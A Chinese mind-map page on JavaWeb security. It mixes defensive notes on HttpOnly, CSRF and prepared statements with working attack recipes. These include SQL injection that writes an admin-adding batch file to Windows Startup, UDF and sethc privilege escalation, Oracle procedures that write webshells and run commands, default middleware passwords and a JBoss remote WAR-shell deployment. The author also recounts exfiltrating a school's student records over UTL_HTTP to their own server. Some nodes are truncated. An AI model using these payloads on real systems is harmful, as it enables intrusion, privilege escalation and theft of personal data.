JavaWeb应用安全
计算机知识思维导图:JavaWeb应用安全。网页展示前三层结构,可在线查看完整脑图并下载 GoMind 文件。
2026-08-25
## JavaWeb应用安全 ### JavaWeb应用安全 #### B/S数据交互 ##### burpsuite抓包工具 ##### 请求和响应 ##### 会话管理 ##### CSRF跨站域请求伪造 #### SQL注入一 ##### JDBC和ORM ##### SQL注入攻击1 #### SQL注入二 ##### MySQL注入 ##### Oracle注入 #### MVC安全 ##### 概念: ##### STRUTS2框架 #### 程序架构与代码审计 ##### 漏洞发掘基础 ##### 1、按业务类型有序测试 ##### 2、按程序实现逆向测试, 如SQL注入 ##### 3、文件上传、下载、编辑漏洞 ##### 其他 #### 服务器安全 ##### 构建WebShell war文件 ##### Tomcat中间件 ##### Resin中间件 ##### weblogic中间件 ##### websphere中间件 ##### 子主题 #### Server篇[2] ##### 文件上传请求解析 ##### 文件或虚拟路径请求和处理 ##### Server安全问题 #### 后门 ##### jspx后门 ##### Java Logger日志后门 ##### jspf后门 > 仅展示前三层结构;请在线查看完整脑图或下载 GoMind 文件。
JavaWeb应用安全
JavaWeb应用安全
burpsuite抓包工具
请求和响应
Session是存储于服务器内存当中的会话,我们知道Http是无状态协议,为了支持客户端与服务器之间的交互, 我们就需要通过不同的技术为交互存储状态,而这些不同的技术就是Cookie和Session了。
用FireFox和Chrome请求同一个URL得到的SessionId并不一样,说明SessionId是唯一的。 一旦Session在服务器端设置成功那么我们在此次回话当中就可以一直共享这个SessionId对应的session信息, 而session是有有效期的,一般默认在20-30分钟,你会看到xss平台往往有一个功能叫keepSession, 每过一段时间就带着sessionId去请求一次,其实就是在保持session的有效不过期。
Session 生命周期(从创建到销毁)
1、session的默认过期时间是30分钟,可修改的最大时间是1440分钟(1440除以60=24小时=1天)。
2、服务器重启或关闭Session失效。
Cookie是以文件形式[缓存在客户端]的凭证(精简下为了通俗易懂),cookie的生命周期主要在于服务器给设置的有效时间。 如果不设置过期时间,则表示这个cookie生命周期为浏览器会话期间,只要关闭浏览器窗口,cookie就消失了。
盗取cookie的最直接的方式就是xss,利用IE浏览器输出当前站点的cookie:
HttpOnly
通过document对象能够拿到存储于客户端的cookie信息。
HttpOnly设置后再使用document.cookie去取cookie值就不行了。
通过添加HttpOnly以后会在原cookie后多出一个HttpOnly;
普通的cookie设置:
Cookie: jsessionid=AS348AF929FK219CKA9FK3B79870H;
加上HttpOnly后的Cookie:
Cookie: jsessionid=AS348AF929FK219CKA9FK3B79870H;HttpOnly;
在servlet3.0开始才支持直接通过setHttpOnly设置,其实就算不是JavaEE6也可以在set Cookie的时候加上HttpOnly; 让浏览器知道你的cookie需要以HttpOnly方式管理。而ng a 在新的Servlet当中不只是能够通过手动的去setHttpOnly还可以通过在web.xml当中添加cookie-config(HttpOnly默认开启,注意配置的是web-app_3_0.xsd):<br> <br><<?xml version="1.0" encoding="UTF-8"?><br><<web-app version="3.0" xmlns="http://java.sun.com/xml/ns/javaee"<br> xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"<br> xsi:schemaLocation="http://java.sun.com/xml/ns/javaee <br> http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">...
会话管理
CSRF(Cross Site Request Forgery, 跨站域请求伪造)用户请求伪造,以受害人的身份构造恶意请求。 经典解析参考:http://www.ibm.com/developerworks/cn/web/1102_niugang_csrf/
CSRF攻击是黑客借助受害者的cookie骗取服务器的信任,但是黑客并不能拿到cookie,也看不到cookie的内容。 另外,对于服务器返回的结果,由于浏览器同源策略的限制,黑客也无法进行解析。 因此,黑客无法从返回的结果中得到任何东西,他所能做的就是给服务器发送请求,以执行请求中所描述的命令, 在服务器端直接改变数据的值,而非窃取服务器中的数据。 所以,我们要保护的对象是那些可以直接产生数据改变的服务,而对于读取数据的服务,则不需要进行CSRF的保护。 比如银行系统中转账的请求会直接改变账户的金额,会遭到CSRF攻击,需要保护。 而查询余额是对金额的读取操作,不会改变数据,CSRF攻击无法解析服务器返回的结果,无需保护。
CSRF攻击方式
对象:A:普通用户,B:攻击者
1、假设A已经登录过xxx.com并且取得了合法的session,假设用户中心地址为:http://xxx.com/ucenter/index.do
2、B想把A余额转到自己的账户上,但是B不知道A的密码,通过分析转账功能发现xxx.com网站存在CSRF攻击漏洞和XSS漏洞。
3、B通过构建转账链接的URL如:http://xxx.com/ucenter/index.do?action=transfer&money=100000 &toUser=(B的帐号),因为A已经登录了所以后端在验证身份信息的时候肯定能取得A的信息。 B可以通过xss或在其他站点构建这样一个URL诱惑A去点击或触发Xss。 一旦A用自己的合法身份去发送一个GET请求后A的100000元人民币就转到B账户去了。 当然了在转账支付等操作时这种低级的安全问题一般都很少出现。
防御CSRF:
1、验证 HTTP Referer 字段
2、在请求地址中添加 token 并验证
3、在 HTTP 头中自定义属性并验证
4、加验证码
最常见的做法是加token,Java里面典型的做法是用filter
参考:http://drops.wooyun.org/papers/155
CSRF跨站域请求伪造
B/S数据交互
JDBC:JDBC(Java Data Base Connectivity,java数据库连接)是一种用于执行SQL语句的JavaAPI, 可以为多种关系数据库提供统一访问。
JPA:JPA全称Java Persistence API.,JPA通过JDK5.0注解或XML描述对象-关系表的映射关系, 并将运行期的实体对象持久化到数据库中。 是一个ORM规范。Hibernate是JPA的具体实现。
ORM:对象关系映射(ORM)目前有Hibernate、OpenJPA、TopLink、EclipseJPA等实现。
JDO:JDO(Java-Data-Object)是Java对象持久化的新的规范, 也是一个用于存取某种数据仓库中的对象的标准化API。 没有听说过JDO没有关系,很多人应该知道PDO,ADO吧?概念一样。
JPA可以依靠JDBC对JDO进行对象持久化,而ORM只是JPA当中的一个规范; 我们常见的Hibernate、Mybatis和TopLink什么的都是ORM的具体实现。
JDBC和ORM
因为拼接SQL语句,导致输入内容被当作SQL语句执行。
SQL语句注释符号:--在oracle和mssql都可用,mysql可以用# /**/。
原理:
and/or 1=1 及 and/or 1=2 注入判断大法:
当参数为2 and 1=1去查询时,由于1=1为true所以能够正常的返回查询结果;
当传入参数2 and 1=2时查询结果是不存在的,所以没有显示任何结果。
order by 字段判断大法:
执行order by 4正常显示数据
order by 5错误说明查询的字段数是4
判断方法:
PreparedStatement实现防注入:
SQL语句被预编译并存储在PreparedStatement对象中,
然后可以使用此对象多次高效地执行该语句。
http://zone.wooyun.org/content/2448
防范方法:
Web项目中/WEB-INF/lib下和对应容器的lib下有MySQL等数据库连接驱动包,那么就能够连接相应数据库。
Web当中最容易出现SQL注入的地方:
1、常见的文章显示、分类展示。
2、用户注册、用户登录处。
3、关键字搜索、文件下载处。
4、数据统计处(订单查询、上传下载统计等)经典的如select下拉框注入。
5、逻辑略复杂处(密码找回以及跟安全相关的)。
SQL注入攻击1
SQL注入一
LIMIT子句可以被用于强制SELECT语句返回指定的记录数。 LIMIT接受一个或两个数字参数。参数必须是一个整数常量。 如果给定两个参数,第一个参数指定第一个返回记录行的偏移量, 第二个参数指定返回记录行的最大数目。
查询Mysql所有数据库中所有表名带有user关键字的表,
并且按照表的行数降序排列:
SELECT
i.TABLE_NAME,i.TABLE_ROWS
FROM information_schema.`TABLES` AS i
WHERE i.TABLE_NAME
LIKE '%user%'
ORDER BY i.TABLE_ROWS
DESC
查只在当前数据库查询:
SELECT
i.TABLE_NAME,i.TABLE_ROWS
FROM information_schema.`TABLES` AS i
WHERE i.TABLE_NAME
LIKE '%user%'
AND i.TABLE_SCHEMA = database()
ORDER BY i.TABLE_ROWS
DESC
查询字段当中带有user关键字的所有的表名和数据库名:
SELECT
i.TABLE_SCHEMA,i.TABLE_NAME,i.COLUMN_NAME
FROM information_schema.`COLUMNS` AS i
WHERE i.COLUMN_NAME LIKE '%user%'
Information_schema数据库存储了MySQL数据库表结构的各种信息; tables表Table_name字段,存储了当前用户权限下能查看的所有的表名称。 table_rows字段,存储了每个标的行数。
CONCAT函数用于将多个字符串连接成一个字符串。 concat函数使用方法:CONCAT(str1,str2,…) 返回结果为连接参数产生的字符串。
select 1,2,3,CONCAT('MysqlUser:',User,'------MysqlPassword:',Password) FROM mysql.`user`
GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成。
select 1,2,3,GROUP_CONCAT('MysqlUser:',User,'------MysqlPassword:',Password) FROM mysql.`user`
CONCAT_WS使用语法为:CONCAT_WS(separator,str1,str2,…)
CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。 分隔符的位置放在要连接的两个字符串之间。 分隔符可以是一个字符串,也可以是其它参数。
特殊函数的使用方法
注入在windows下默认是E:\如果用“\”去表示路径的话需要转换成E:\\而更方便的方式是直接用/去表示即E:/。 当我们知道WEB路径的情况下而又有outfile权限直接导出数据库中的用户信息。
select '','',corps_name,corps_url from corps into outfile'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/1.txt'
如果是在一些极端的情况下无法直接outfile我们可以合理的利用concat和GROUP_CONCAT去把数据显示到页面, 如果数据量特别大,我们可以用concat加上limit去控制显示的数量。比如每次从页面获取几百条数据? 写一个工具去请求构建好的SQL注入点然后把页面的数据取下来,那么数据库的表信息也可以直接从注入点全部取出来。
数据脱裤
直接写到windows的启动目录就行了, 我测试的系统是windows7直接写到: C:/Users/selina/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup目录就行了。
select 0x6E65742075736572207975616E7A20313233202F6164642026206E6574206C6F63616C67726F75702061646D696E6973747261746F7273207975616E7A202F616464,'','','' into outfile 'C:/Users/selina/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/1.bat'
1、写启动项
MYSQL提权的方式挺多的,并不局限于udf、mof、写windows启动目录、SQL语句替换sethc实现后门等。
UDF提权:
1、在进行mysql的udf提权的时候需要注意的是mysql的版本, mysql5.1以下导入到windows目录就行了,而mysql<=5.1需要导入到插件目录。 我测试的是Mysql5.5.27我们的首要任务就是找到mysql插件路径。
union select 1,2,3,@@plugin_dir
2、通过MYSQL预留的变量很轻易的就找到了mysql所在目录,那我们需要把udf导出的绝对路径就应该是: D:/install/dev/mysql5.5/lib/plugin/udf.dll。现在我们要做的就是怎样通过SQL注入去把这udf导出到上述目录了。
因为在命令行或执行单条语句的时候转换成BINARY(一定是BINARY不能写成CHAR)去dumpfile的时候是可以成功导出二进制文件的。 我们用浏览器浏览网页的时候都是以GET方式去提交的,而如果我用GET请求去传这个十六进制的udf的话显然会超过GET请求的限制, 于是我简单的构建了一个POST请求去把一个110K的0x传到后端。
SELECT * from corps where id = 1 and 1=2 union select '','','', CONVERT(0xUDF的十六进制,BINARY) INTO DUMPFILE'D:/install/dev/mysql5.5/lib/plugin/udf.dll'
3、创建一个function函数
create function cmdshell returns string soname ‘udf.dll’;
因为没有办法去创建一个function所以用注入点实现udf提权在上一步就死了, 通过在命令行执行创建function只能算是心灵安慰了,只要完成了create function那一步我们就真的成功了,因为调用自定义function非常简单:
2、失败的注入点UDF提权尝试
具备自己导入任意文件到任意目录了,而MOF实际上就是写一个文件到指定目录,而sethc提权我只成功模糊的过一次。
create table mix_cmd( shift longblob);
insert into mix_cmd values(load_file(‘c:\windows\system32\cmd.exe’));
select * from mix_cmd into dumpfile ‘c:\windows\system32\sethc.exe’;
drop table if exists mix_cmd;
3、MOF和sethc提权:
注入点提权
MySQL注入
1、dual是一个虚拟表,用来构成select的语法规则, oracle保证dual里面永远只有一条记录。在Oracle里面有比较严格的类型要求。
2、union查询时Oracle当中正确的注入方式用NULL去占位在我们未知哪个字段是什么类型。
3、Oracle分页查询需要使用三层嵌套查询,SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >= 0
常见的语句:
版本信息:SELECT NULL, NULL, NULL, (select banner from sys.v_$version where rownum=1) from dual—
获取启动Oracle的用户名:select SYS_CONTEXT ('USERENV','OS_USER') from dual;
服务器监听IP:select utl_inaddr.get_host_address from dual;
服务器操作系统:select member from v$logfile where rownum=1;
当前连接用户:select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual;
获取当前连接的数据库名:select SYS_CONTEXT ('USERENV', 'DB_NAME') from dual;
关于获取敏感的表和字段说明:
1、获取所有的字段schema:
select * from user_tab_columns
2、获取当前用户权限下的所有的表:
SELECT * FROM User_tables
在去年注入某大牛学校的教务处的时候我想到了一个简单有效的SQL注入点友情备份数据库的方法。没错就是利用Oracle的utl_http包。Oracle的确是非常的强大,utl_http就能过直接对外发送Http请求。我们可以利用utl_http去SQL注入,那么我们一样可以利用utl_http去做友情备份。<br> <br>http://60.xxx.xx.131/xxx/aao_66/index.jsp?fid=1+and+'1'in(SELECT+UTL_HTTP.request('http://xxx.cn:8080/xxxx/mysql.jsp?data='||ID||'----'||USERID||'----'||NAME||'----'||RELATION||'----'||OCCUPATION||'----'||POSITION||'----'||ASSN||UNIT||'----'||'----'||TEL)+FROM+STU_HOME)<br> <br>UTL_HTTP 会带着查询数据库的结果去请求我们的URL,也就是我注入点上写的URL。Tips:UTL_HTTP是一条一条的去请求的,所以会跟数据库保持一个长连接。而数据量过...大Oracle注入基础
1、在有Oracle连接权限没有webshell时候通过utl_file获取shell
(当然用户必须的具有创建DIRECTORY的权限):
grant CREATE ANY DIRECTORY TO SCOTT;
2、创建目录
create or replace directory getshell_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/';
3、写入shell到指定目录:注意directory在这里一定要大写:
declare
frw utl_file.file_type;
begin
frw:=utl_file.fopen('GETSHELL_DIR','yzmm.jsp','w');
utl_file.put_line(frw,'hello world.');
utl_file.fclose(frw);
end;
/
GetShell上传木马
执行以下SQL创建表空间:
create tablespace shell datafile 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/shell.jsp' size 100k nologging ;
CREATE TABLE SHELL(C varchar2(100)) tablespace shell;
insert into SHELL values('hello world');
commit;
alter tablespace shell offline;
drop tablespace shell including contents;
SQLJ运行环境由纯Java实现的小SQLJ运行库组成,该运行时库转而调用相应数据库的JDBC驱动程序。
SQL创建Java储存过程:
create or replace and compile
java source named "getShell"
as public class GetShell {public static int getShell(String p, String c) {int RC = -1;try {new java.io.FileOutputStream(p).write(c.getBytes());RC = 1;} catch (Exception e) {e.printStackTrace();}return RC;}}
创建函数:
create or replace
function getShell(p in varchar2, c in varchar2) return number
as
language java
name 'util.getShell(java.lang.String, java.lang.String) return Integer';
创建存储过程:
create or replace procedure RC(p in varChar, c in varChar)
as
x number;
begin
x := getShell(p,c);
end;
授予Java权限:
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
grant javauserpriv to system;
写webshell:
exec :x:=getShell('d:/3.txt','selina');
Java里的方法去执行命令。
创建Java存储过程:
create or replace and compile java source named "Execute" as
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Execute {
public static void executeCmd(String c) {
try {
String l="",t;
BufferedReader br = new BufferedReader(new InputStreamReader(java.lang.Runtime.getRuntime().exec(c).getInputStream(),"gbk"));
while((t=br.readLine())!=null){
l+=t+"\n";
}
System.out.println(l);
} catch (Exception e) {
e.printStackTrace();
}
}
}
创建存储过程executeCmd:
create or replace procedure executeCmd(c in varchar2)
as
language java name 'Execute.executeCmd(java.lang.String)';
执行存储过程:
exec executeCmd('net user selina 123 /add');
在低权限下getshell
Oracle注入
SQL注入二
MVC是三个单词的缩写,分别为: 模型(Model),视图(View) 和控制(Controller)。 MVC模式的目的就是实现Web系统的职能分工。
Model层实现系统中的业务逻辑,通常可以用JavaBean或EJB来实现。
View层用于与用户的交互,通常用JSP来实现(前面有讲到,JavaWeb项目中如果 不采用JSP作为展现层完全可以没有任何JSP文件,甚至是过滤一切JSP请求,
JEECMS是一个最为典型的案例)。
Controller层是Model与View之间沟通的桥梁,它可以分派用户的请求并选择 恰当的视图用于显示,同时它也可以解释用户的输入并将它们映射为模型层可执行的操作。
在Java里面可以在项目启动时去加载配置到Servlet容器内。 在web.xml里面配置一个Servlet或者Filter后可以非常轻松 的拦截、过滤来自于客户端的任意后缀请求。
JavaWeb的Servlet和Filter:
概念:
ActionContext对象:
在每次执行Action之前都会创建新的ActionContext对象, 通过ActionContext获取的session、request、application并 不是真正的HttpServletRequest、HttpServletResponse、ServletContext对象, 而是将这三个对象里面的值重新包装成了map对象。这样的封装, 我们及获取了我们需要的值,同时避免了跟Web容器直接打交道,实现了完全的解耦。
Untitled node
STRUTS2框架
STRUTS2框架内部流程:<br>1. 客户端发送请求的tomcat服务器。服务器接受,将HttpServletRequest传进来。<br>2. 请求经过一系列过滤器(如:ActionContextCleanUp、SimeMesh等)<br>3. FilterDispatcher被调用。FilterDispatcher调用ActionMapper来决定这个请求是否要调用某个Action<br>4. ActionMapper决定调用某个ActionFilterDispatcher把请求交给ActionProxy<br>5. ActionProxy通过Configuration Manager查看struts.xml,从而找到相应的Action类<br>6. ActionProxy创建一个ActionInvocation对象<br>7. ActionInvocation对象回调Action的execute方法<br>8. Action执行完毕后,ActionInvocation根据返回的字符串,找到对应的result。然后将Result内容通过HttpServletRespon...s
MVC安全
公认的命名方式是com/org.公司名.项目名.业务名全小写。
如:org.javaweb.ylog.dao部署到服务器上对应的文件夹
应当是/WEB-INF/classes/org/javaweb/ylog/dao/其中的.意味着一级目录。
一般来说找到Controller或者Action所在的包的路径就行了
漏洞发掘基础
1、按业务类型有序测试
SQL注入理论上是最容易找的,因为SQL语句的特殊性只要Ctrl+H搜索 select、from等关键字就能够快速找到项目下所有的SQL语句, 然后根据搜索结果基本上都能够确定是否存在SQL注入。 凡是SQL语句中出现了拼SQL(如select * from admin where id=’”+id+”’)那么基本上80%可以确定是SQL注入。 但也有特例,比如拼凑的SQL参数并不受我们控制, 无法在前台通过提交SQL注入语句的方式去控制最终的查询SQL。 而采用预编译?占位方式的一般不存在注入。
2、按程序实现逆向测试,
如SQL注入
文件上传漏洞即没有对上传的文件的后缀进行过滤,导致任意文件上传。 有的时候就算有后缀判断,但是由于解析漏洞造成GETSHELL这是比较难避免的。
1、没有做任何限制的上传漏洞:
2、Bypass白名单和黑名单限制
3、文件下载漏洞
3、文件上传、下载、编辑漏洞
通过查看Jar包快速定位Struts2漏洞
报错信息快速确认Server框架
二次校验逻辑漏洞
隐藏在Select框下的邪恶
子主题
其他
程序架构与代码审计
1、打开Myeclipse新建Web项目
2、把jsp放到WebRoot目录下
3、导出项目为war文件
构建WebShell war文件
关注conf和webapps目录即可。conf目录与非常重要的tomcat配置文件,
比如登录帐号所在的tomcat-users.xml;
域名绑定目录、端口、数据源(部分情况)、SSL所在的server.xml;
数据源配置所在的context.xml文件,以及容器初始化调用的web.xml。
1、Tomcat后台部署war获取WebShell
登录tomcat后台:http://xxx.com/manager/html,一般用WAR file to deploy就行了,Deploy directory or WAR file located on server这种很少用。
2、Tomcat口令爆破
Tomcat中间件
Resin主流的版本是Resin3和Resin4,在文件结构上并没有多大的变化。
resin.conf和resin.xml:Tomcat和Rsin的核心配置文件都在conf目录下,
Resin3.1.x默认是resin.conf而4.0.x默认是resin.xml。
resin.conf/resin.xml是Resin最主要配置文件,类似Tomcat的server.xml。
1、resin.conf和resin.xml
>数据源:
resin数据源就是位于这个文件,搜索database(位于server标签内)
即可定位到具体的配置信息。
>域名绑定
搜索host即可定位到具体的域名配置,其中的root-directory是
域名绑定的对应路径。很容易就能够找到域名绑定的目录了。
Resin默认安全策略
1>管理后台访问权限
Resin比较BT的是默认仅允许本机访问管理后台,
这是因为在resin.conf当中默认配置禁止了外部IP请求后台。
<resin:set var="resin_admin_external“ value="false"/>
修改为true外部才能够访问。
2>Resin后台管理密码
Resin的管理员密码需要手动配置,在resin.conf/resin.xml当中搜索management。 即可找到不过需要注意的是Resin的密码默认是加密的,密文是在登录页自行生成。 比如admin加密后的密文大概会是:yCGkvrQHY7K8qtlHsgJ6zg== 看起来仅是base64编码不过不只是admin默认的Base64编码是:YWRtaW4= Resin3,翻了半天Resin3终于在文档里面找到了:
http://www.caucho.com/resin-3.1/doc/resin-security.xtp
MD5+Base64加密但是怎么看都有点不对,下载Resin源码找到加密算法:
Resin4的加密方式和Resin3还不一样改成了SSHA:
admin_user : admin
admin_password : {SSHA}XwNZqf8vxNt5BJKIGyKT6WMBGxV5OeIi
详情:http://www.caucho.com/resin-4.0/admin/security.xtp
Web Deploy war
文件大概是从4.0.0开始支持的;
默认没有开启https的访问方式,
需要手动配置conf目录下的resin.properties的#https:8443
Resin获取WebShell
Resin中间件
Weblogic默认配置
Weblogic默认端口是7001,Weblogic10g-12c默认的管理后台是:http://localhost:7001/console
Weblogic10:以下默认后台地址是:http://192.168.80.1:7001/console/login/LoginForm.jsp
Weblogic 默认安全策略
1、Weblogic默认密码文件:
Weblogic9采用的3DES(三重数据加密算法)加密方式,Weblogic9默认的管理密码配置文件位于:
weblogic92/samples/domains/wl_server/servers/examples/Server/security/root.properties
boot.properties:
# Generated by Configuration Wizard on Sun Sep 08 15:43:13 GMT 2013
username={3DES}fy709SQ4pCHAFk+lIxiWfw==
password={3DES}fy709SQ4pCHAFk+lIxiWfw==
Weblogic12c采用了AES对称加密方式,但是AES的key并不在这文件里面。默认的管理密码文件存放于:
Weblogic12:user_projects/domains/base_domain/servers/AdminServer/security/root.properties boot.properties:
boot.properties:
# Generated by Configuration Wizard on Tue Jul 23 00:07:09 CST 2013
username={AES}PsGXATVgbLsBrCA8hbaKjjA91yNDCK78Z84fGA/pTJE=
password={AES}Z44CPAl39VlytFk1I5HUCEFyFZ1LlmwqAePuJCwrwjI=
Weblogic12c:Weblogic12/user_projects/domains/base_domain/security/SerializedSystemIni.dat
Weblogic9:weblogic_9/weblogic92/samples/domains/wl_server/security/SerializedSystemIni.dat
解密详情:http://drops.wooyun.org/tips/349 2、Weblogic数据源(JNDI)
Weblogic如果有配置数据源,那么默认数据源配置文件应该在:
Weblogic12/user_projects/domains/base_domain/config/config.xml
weblogic中间件
Websphere默认配置
默认的管理后台地址(注意是HTTPS):https://localhost:9043/ibm/console/logon.jsp
默认管理密码:
1、admin (测试websphere6-7默认可以直接用admin作为用户标识登录,无需密码)
2、websphere/ websphere
3、system/ manager
默认端口:
管理控制台端口 9060
管理控制台安全端口 9043
HTTP传输端口 9080
HTTPS传输端口 9443
引导程序端口 2809
SIP端口 5060
SIP安全端口 5061
SOAP连接器端口 8880
SAS SSL ServerAuth端口 9401
CSIV2 ServerAuth 侦听器端口 9403
CSIV2 MultiAuth 侦听器端口 9402
ORB侦听器端口 9100
高可用性管理通讯端口(DCS) 9353
服务集成端口 7276
服务集成安全端口 7286
服务集成器MQ互操作性端口 5558
服务集成器MQ互操作性安全端口 5578
websphere中间件
GlassFish 默认配置
默认Web控制后台: http://localhost:4848
默认管理密码: GlassFish2默认帐号admin密码adminadmin 。
默认端口:
使用Admin的端口 4848。
使用HTTP Instance的端口 8080。
使用JMS的端口 7676。
使用IIOP的端口 3700。
使用HTTP_SSL的端口 8181。
使用IIOP_SSL的端口 3820。
使用IIOP_MUTUALAUTH的端口 3920。
使用JMX_ADMIN的端口 8686。
使用OSGI_SHELL的默认端口 6666。
使用JAVA_DEBUGGER的默认端口 9009。
子主题
服务器安全
文件上传请求和普通的GET、POST不一样,在JavaEE里面会把multipart请求封装成一个InputStream对象。
如果想要从请求里面解析具体的文件内容需要读取流。值得注意的是multipart/form-data中的input域
也会包含在InputStream里面。在JavaEE里面可以用:request.getInputStream();或request.getReader();方法获取。
文件域下方Content-Type:text/html实际上隐藏了upload.html的内容,chrome不会在那儿显示。
判定一个请求是否是文件上传只需从请求头里面取出Content-Type就行了,
如果type是multipart/form-data;即标识当前请求类型是文件上传。
文件上传请求解析
虚拟路径请求处理
在Servlet里面一个Servlet映射的是一个虚拟的路径。比如请求:http://xxx/servlet/hello。
这个servlet/hello并不是一个实际存在的文件地址。所以我们请求的wooyun.jsp可以
是真实存在的一个文件,也可以是一个虚拟的路径。
比如当客户端请求wooyun.jsp的时候我们把请求交给Controller去处理(仿MVC):
普通的文件请求
假如用户请求的不是虚拟路径而是一个实际存在的文件呢?
这个时候就需要把服务器的文件内容读取并返回给客户端。
比如把Contoller注掉改为content=readFile(request);这次去读取ROOT下的wooyun.jsp内容。
文件或虚拟路径请求和处理
如果把Tomcat的web.xml的filter添加任意后缀到servlet-name为jsp的Servlet当中,
那么所有后缀为.txt的请求都会被当作jsp解析!
假设Tomcat在写正则的时候一不小心写成了: <br>#!java<br>Pattern.compile("\\.jsp").matcher("1.jsp.jpg").find(); <br>那么所有的1.jsp.jpg的请求都会交给jsp对应的servlet处理。跟这类似的漏洞apache曾经就出现过。问题是apache如果在mime.types文件里面没有定义的扩展名,会给解析成倒数第二个定义的扩展名。文件解析漏洞
在某些低版本的Tomcat当请求目录并没有找到对应的索引文件,
且web.xml的listings是true。于是Tomcat就干脆列出这个目录的所有文件。
Tomcat还出过另一个低级漏洞,当请求的文件是UTF-8编码
的时候会造成任意文件遍历漏洞。
触发的条件为ApacheTomcat的配置文件context.xml或server.xml
的'allowLinking'和'URIencoding'允许'UTF-8'选项
文件读取漏洞
jBOSS远程部署
http://192.168.0.113:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://www.ahack.net/iswin.war<br><br>成功后访问:http://192.168.0.113:8080/iswin/index.jsp 菜刀连接(默认包含index.jsp、index.jspx、index.jspf、cmd.jsp三个shell)。
War文件部署漏洞
Server安全问题
Server篇[2]
jsp和jspx都是由org.apache.jasper.servlet.JspServlet处理,
于是想构建一个jspx的webshell。经过反复的折腾,
一个jspx的后门就粗线了。测试应该是java的所有的server都默认支持。
Tomcat默认的conf/web.xml下的配置: <br> <<servlet><br> <<servlet-name>jsp<</servlet-name><br> <<servlet-class>org.apache.jasper.servlet.JspServlet<</servlet-class><br> <<init-param><br> <<param-name>fork<</param-name><br> <<param-value>false<</param-value><br> <</init-param><br> <<init-param><br> <<param-name>xpoweredBy<</param-name>...
jspx后门
Java Logger日志后门
jspf后门
后门